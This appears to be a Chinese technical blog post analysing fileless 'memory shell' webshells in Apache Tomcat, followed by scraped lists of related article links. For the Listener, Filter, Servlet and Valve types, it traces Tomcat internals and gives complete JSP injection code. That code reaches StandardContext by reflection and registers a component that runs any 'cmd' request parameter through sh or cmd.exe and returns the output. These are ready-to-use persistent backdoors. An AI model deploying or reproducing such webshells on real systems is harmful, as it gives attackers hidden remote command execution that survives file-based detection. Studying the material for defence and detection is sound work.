前言

自己简单搭建一个Tomcat项目,IDEA里选择JavaEE,勾上web就行了

加个依赖(这样就能找到三个Context了:

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.16</version>
</dependency>

Tomcat的三个Context

ServletContext

ServletContext是Servlet规范中规定的ServletContext接口,一般servlet都要实现这个接口。大概就是规定了如果要实现一个WEB容器,他的Context里面要有这些东西:获取路径,获取参数,获取当前的filter,获取当前的servlet等

ApplicationContext

在Tomcat中,ServletContext规范的实现是ApplicationContext,因为门面模式的原因,实际套了一层ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章,简单来讲就是加一层包装。

其中ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等

StandardContext

StandardContext存在于org.apache.catalina.core.StandardContext

实际上研究ApplicationContext的代码会发现,ApplicationContext所实现的方法其实都是调用的this.context中的方法,而这个this.context就是一个实例化的StandardContext对象

StandardContext是Tomcat中真正起作用的Context,负责跟Tomcat的底层交互,ApplicationContext其实更像对StandardContext的一种封装。用下面这张图来展示一下其中的关系:

Listen型内存马分析

前置内容



由图可知,最先接受请求并处理的就是Listen,这时候就可以在监听时,运行恶意代码,注入内存马。

Listen分为这几种:

  • ServletContext,服务器启动和终止时触发
  • Session,有关Session操作时触发
  • Request,访问服务时触发

Requset是最好触发和注入内存马的种类,只需要访问即可rce,在tomcat中Listen需实现两个接口LifecycleListenerEventListener,由于实现了LifecycleListener接口的监听器一般作用于tomcat初始化启动阶段,此时客户端的请求还不能被解析,所以我们重点看EventListener



ServletRequestListener接口继承了它,因此我们只需要用ServletRequestListener即可servletRequestListener用于监听ServletRequest对象的创建和销毁,当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法

举个例子:

package com.example.tomcat_memoryma;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener; public class Listener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre){
System.out.println("执行了Test requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("执行力Test requestInitialized");
}
}

web.xml注册一下

<listener>
<listener-class>com.example.tomcat_memoryma.Listener</listener-class>
</listener>

此时我们随便访问都会触发Listener



先Initialize后Destroy

流程分析

requestInitialized处下个断点,然后debug启动服务,就能看见调用栈了

反向溯源一下



StandardContext中调用了listener.requestInitialized,往上看可以知道listener是从instance数组里的元素,instance是getApplicationEventListeners()的返回值,继续看上一个调用栈



StandardHostValue中调用了fireRequestInitEvent,而fireRequestInitEvent中调用了getApplicationEventListeners(),而getApplicationEventListeners()就是StandardContext中的一个方法,所以利用思路就是获取StandardContext来调用getApplicationEventListeners(),进而添加恶意监听器

StandardContext对象获取

方式一

通过request对象来获取

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Listener listener = new Listener();
standardContext.addApplicationEventListener(listener);
%>

首先根据request对象反射获取request属性,然后再调用getContext方法获取StandardContext对象,溯源就可以发现StandardContext是Context的实现类,getContext方法返回的就是一个Context对象

方式二

通过Thread来获取

WebappClassLoader webappClassLoader = (WebappClassLoader) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoader.getResources().getContext();

和上面的原理一样,也是一步步往上去找,会发现都对应了起来

内存马分析

根据这两种方法可以写出Listen型内存马

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %> <%!
public class MyListener implements ServletRequestListener {
//定义了一个Listen监听Servlet的销毁事件
public void requestDestroyed(ServletRequestEvent sre) {
//获取HttpServletRequest对象,用于RCE
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
//指令结果的输入流
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
/*
scanner.useDelimiter命令在于设置当前scanner的分隔符,默认是空格,\\A为正则表达式,表示从字符头开始
这条语句的整体意思就是读取所有输入,包括回车换行符
*/
Scanner s = new Scanner(in).useDelimiter("\\A");
//获得结果
String out = s.hasNext()?s.next():"";
//获取request对象
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
//回显技术
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
} public void requestInitialized(ServletRequestEvent sre) {}
}
%> <%//添加恶意Listener
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
//在这里调用StandardContext进行添加
context.addApplicationEventListener(listenerDemo);
%>

Filter型内存马分析

按照上面所讲的正常流程,Listen过后就是经过Filter过滤器处理请求,和Listen对应,Filter肯定也可以注入内存马,因为Filter有doFilter方法,用来将请求放行

Filter调用示例

准备一个简单的filter示例:

package com.example.tomcat_memoryma;
import javax.servlet.*;
import java.io.IOException; public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter 初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
System.out.println("doFilter 过滤");
// 放行
chain.doFilter(request,response);
}
@Override
public void destroy(){
System.out.println("filter 销毁");
}
}

在web.xml中注册Filter

 <filter>
<filter-name>FilterDemo</filter-name>
<filter-class>com.example.tomcat_memoryma.FilterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterDemo</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

启动web服务



关闭web服务



doFilter处下个断点,debug启动,看调用栈



最后一步是在ApplicationFilterChain类中调用了doFilter方法,并且通过一个ApplicationFilterConfig对象来获取所有的filters



溯源发现filters是一个ApplicationFilterConfig[]对象数组



继续往回走,该类调用了internalDoFilter方法



再往回走,在StandrdWrapperValue类中调用了filterChain.doFilter



这个filterChain中存放的就是我们所定义的filter,可以看到filter是一个ApplicationFIlterConfig类型的数组



接下来分析一下createFilterChain是如何将我们的filter添加进ApplicationFIlterConfig的,首先先获取了Request对象,实际上就是一个HttpServlet,然后通过HttpServlet获取了Filterchain



往后看,用StandardContext获取了FilterMap数组



后面通过FilterMap获取道filterConfig并放入到filterChain中

跟进addFilter,在这做的事情其实和上一步一样,遍历filter然后放入ApplicationFilterConfig[]中,这个filters数组就是上面说的ApplicationFilterConfig[]数组对象,通过调试可以发现有几个比较显眼的对象名称:

  • filterMaps拿名字
  • filterConfigs拿过滤器(值)

这两个变量在StandradContext中都有定义,其中还有个filterDefs也是一个重要变量,这个后续会讲:

FilterMap

FilterMap可以通过StandardContext去添加

FilterConfigs

StandardContext当然也存在对FilterConfigs操作的方法



其中调用了filterConfigs.put方法添加,从源码不难看懂这是初始化时候做的事情,所以我们这里打个断点,重新启动一下。filterDefs中存放了我们的TestFilter和TestFIlter的过滤器,遍历filterDefs,拿到了key(Testfilter)和value,之后通过new一个ApplicationConfig将值存入filterConfig中:

FilterDefs

通过分析,其实发现filterdefs才是真正存放了filter的地方,在StandradContext中也有添加filterDefs的方法:



可以想到,tomcat是从web.xml中读取的filter,然后加入了filterMap和filterDef变量中,以下对应着这两个变量,其中filter-mapping对应着filterMap

内存马分析

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%
final String name = "F12";
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
//以上步骤用于获取StandardContext
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
//反射获取filterconfig if (filterConfigs.get(name) == null){
//开始添加Filter过滤器
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
//定义了恶意的FIlter过滤器,在dofilter方法执行恶意代码
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { } }; FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
/**
* 添加FilterMap
*/
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig);
/**
* 反射获取ApplicationFilterConfig对象,往filterConfigs中放入filterConfig
*/
out.print("Inject Success !");
}
%>

以上唯一需要注意的点就是filterMap.setDispatcher(DispatcherType.REQUEST.name());,我们在分析流程的时候是没有见过这个Dispatch的,这是一个坑点



filterMaps里有dispatcherMapping这个属性,在FilterMap中也有这个

在这里设置成REQUEST就行,这样我们就能通过request命令执行

注意我是在windows下运行的,所以上面内存马改一下,把bash换成cmd,-c换成/c

Servlet型内存马

准备一个servlet例子:

package com.example.tomcat_memoryma;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException; public class HelloServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("Hello World");
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}

在web.xml注册

<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.tomcat_memoryma.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>

创建StandardWrapper

在StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们在此下断点跟进:



ContextConfig#webConfig()解析了xml文件,然后调用了configureContext



跟进,可以看到前面的一些操作是对listen,filter的,按顺序来到对servlet的处理

.........
for (ServletDef servlet : webxml.getServlets().values()) {
//创建StandardWrapper对象
Wrapper wrapper = context.createWrapper();
// Description is ignored
// Display name is ignored
// Icons are ignored // jsp-file gets passed to the JSP Servlet as an init-param if (servlet.getLoadOnStartup() != null) {
//设置LoadOnStartup属性 wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
//设置ServletName属性
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
//设置ServletClass属性
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0; if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
} wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
//将包装好的StandWrapper添加进ContainerBase的children属性中
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}

最后用了context.addServletMappingDecoded加了对应的路由:

加载StandardWrapper

最后在StandardContext的findChildren获取到了StandardWrapper类

往下走就是一个加载流程,listen->filter->servlet,通过loadOnstartup()方法加载我们的wrapper

public boolean loadOnStartup(Container children[]) {

        // Collect "load on startup" servlets that need to be initialized
TreeMap<Integer, ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
//判断属性loadOnStartup的值,因此这里应该大于0
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
ArrayList<Wrapper> list = map.get(key);
if (list == null) {
list = new ArrayList<>();
map.put(key, list);
}
list.add(wrapper);
} // Load the collected "load on startup" servlets
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(sm.getString("standardContext.loadOnStartup.loadException",
getName(), wrapper.getName()), StandardWrapper.getRootCause(e));
// NOTE: load errors (including a servlet that throws
// UnavailableException from the init() method) are NOT
// fatal to application startup
// unless failCtxIfServletStartFails="true" is specified
if(getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true; }

上面有个判断loadOnStartup的值需要大于0才会继续去加载,这里的loadOnStartup对应servlet的懒加载机制(通过注解来设置路由等等),默认值为-1,此时只有当servlet被调用时Servlet才会被加载到内存中

内存马分析

通过上文的分析我们能够总结出创建Servlet的流程

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. 将StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
//获取StandardContext
%> <%!
//编写恶意的Servlet
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
//普通回显
PrintWriter out = res.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
} %> <%
//获取Wrapper并且将我们的Servlet放入Wrapper中
Shell_Servlet shell_servlet = new Shell_Servlet();
String name ="F12"; Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
//这里获取的是类名称org.apache.jsp.servlet_jsp$Shell_Servlet
%> <%
//将wrapper添加进StandardContext
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>

Valve型内存马

前置知识

参考:

https://xz.aliyun.com/t/11988#toc-19

valve是Tomcat中对Container组件进行的扩展。Container组件也就是前文一直提及的Tomcat四大容器

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。

Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

其实上述的话可以用下面这张图很好的概括:



在四个组件中都有pipeline,而储存在pipeline中的就是对应的Valve,我们可以创建一个demo分析一下:

package com.example.tomcat_memoryma;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field; class EvilValve extends ValveBase{ @Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("111");
try {
Runtime.getRuntime().exec(request.getParameter("cmd"));
} catch (Exception e) { }
}
}
public class TestValve extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
Field reqF = req.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request request = (Request) reqF.get(req);
StandardContext standardContext = (StandardContext) request.getContext();
standardContext.getPipeline().addValve(new EvilValve());
resp.getWriter().write("inject success");
} catch (Exception e) {
}
}
}

在web.xml注册

<servlet>
<servlet-name>TestValve</servlet-name>
<servlet-class>com.example.tomcat_memoryma.TestValve</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TestValve</servlet-name>
<url-pattern>/valve</url-pattern>
</servlet-mapping>

在invoke处打个断点调试,可以看到调用栈里很多valve,看第一个调用的valve:StandardEngineValve



在这里获取了第一个valve,接下来就是按顺序不断的获取value,从这里可以发现,value链是通过invoke方法进行放行的,当前value的invoke执行后就会执行下一个value的invoke方法,我们进一步溯源:



从上面这张图可以看到获取组件的顺序,先获取Container在获取pipeline最后获取valve并且在StandardPipeline中有方法addvalue



这样我们的注入思路就有了

获取Context

Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();

获取pipeline

Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext);

创建恶意valve并且添加进standardpipeline

ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response){
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
};
standardPipeline1.addValve(valveBase);
this.getNext().invoke(request, response);

这里为了让程序继续执行下去,恶意value类也必须要调用下一个value的invoke方法,否则无法正常进行

内存马分析

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true); final Request request1 = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) request1.getContext(); Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline standardPipeline1 = (StandardPipeline) pipelineField.get(standardContext); ValveBase valveBase = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws ServletException,IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
this.getNext().invoke(request, response);
}
}
}; standardPipeline1.addValve(valveBase); out.println("evil valve inject done!");
%>



valve内存马的一个缺点就是让其它jsp文件失效了,我测试是这样的

Tomcat内存马分析的更多相关文章

  1. Tomcat 内存马(二)Filter型

    一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...

  2. 【免杀技术】Tomcat内存马-Filter

    Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...

  3. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  4. Tomcat 内存马(一)Listener型

    一.Tomcat介绍 Tomcat的主要功能 tomcat作为一个 Web 服务器,实现了两个非常核心的功能: Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报 ...

  5. jmap 导出 tomcat 内存快照分析

    登录系统(注意这里启动 tomcat 的用户) # 获取 tomcat 的 pid 号 ps -ef|grep tomcat # 例如这里 pid 号为 13133 jmap -dump:live,f ...

  6. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  7. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  8. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  9. Tomcat内存溢出的三种情况及解决办法分析

    Tomcat内存溢出的原因 在生产环境中tomcat内存设置不好很容易出现内存溢出.造成内存溢出是不一样的,当然处理方式也不一样. 这里根据平时遇到的情况和相关资料进行一个总结.常见的一般会有下面三种 ...

  10. [转]一次使用Eclipse Memory Analyzer分析Tomcat内存溢出

    一次使用Eclipse Memory Analyzer分析Tomcat内存溢出 前言 在平时开发.测试过程中.甚至是生产环境中,有时会遇到OutOfMemoryError,Java堆溢出了,这表明程序 ...

随机推荐

  1. 《深入理解JAVA虚拟机》(一) JVM 结构 + 栈帧 详解

    ​ 1.程序计数器(Program Counter Register)         线程独有,每个线程都有自己的计数器:由于CPU的任意时刻只能执行所有线程中的一条,所以需要使用程序计数器来支持J ...

  2. 【Android 逆向】【攻防世界】Ph0en1x-100

    1. apk 安装到手机,老套路需要输入flag 2. jadx 打开apk,没有加壳 ...... public void onGoClick(View v) { String sInput = t ...

  3. Taurus.MVC WebMVC 入门开发教程4:数据列表绑定List<Model>

    前言: 在本篇 Taurus.MVC WebMVC 入门开发教程的第四篇文章中, 我们将学习如何实现数据列表的绑定,通过使用 List<Model> 来展示多个数据项. 我们将继续使用 T ...

  4. 学会了MySql高级查询让你在工作中游刃有余

    一.单元概述 通过本章的学习能够理解MySQL数据库中分组查询的含义,掌握常用分组函数的使用,掌握GROUP BY子句的使用规则,掌握分组后数据结果的条件过滤,掌握SELECT语句执行过程,理解子查询 ...

  5. 【Azure 环境】ARM部署模板大于4MB的解决方案及Linked Template遇见存储账号防火墙无法访问

    问题一:在ADF Pipeline部署ARM Template报错"Deployment failed -- the request content size exceeds the max ...

  6. 【Azure Redis 缓存】Azure Redis读写比较慢/卡的问题排查

    问题描述 在使用Azure Redis的过程中发现读写比较慢,非常卡,执行扩容6-->13GB后,过一段时间也满了.在通过门户Console连接到Reids,通过info Memory名称查看到 ...

  7. 【Azure 应用服务】部署Azure Web App时,是否可以替换hostingstart.html文件呢?

    问题描述 当成功创建一个Web App时,通过高级工具(Kudu)可以查看 Web App的根目录(wwwroot)中有一个默认的文件(hostingstart.html).它就是应用服务的默认页面. ...

  8. spark 下java list 或者scala list 转DataFrame or DataSet 总结

    一.JAVA list 转 DataFrame or DataSet case class CaseJava( var num: String, var id: String, var start_t ...

  9. Java 类的结构之三 :构造器(或构造方法,constructor)的使用

    1 /* 2 * 类的结构之三 :构造器(或构造方法,constructor)的使用 3 * construct:建设 建造 4 * 5 * 一.构造器的作用: 6 * 创建对象 7 * 初始化对象的 ...

  10. python 字典列表,元组列表 列表嵌套字典 列表嵌套元组 字典嵌套列表

    列表嵌套字典 l=[] for i in alist: kk = {} names.append(i.string) a_url.append(i.get('href')) kk['章节名']=i.s ...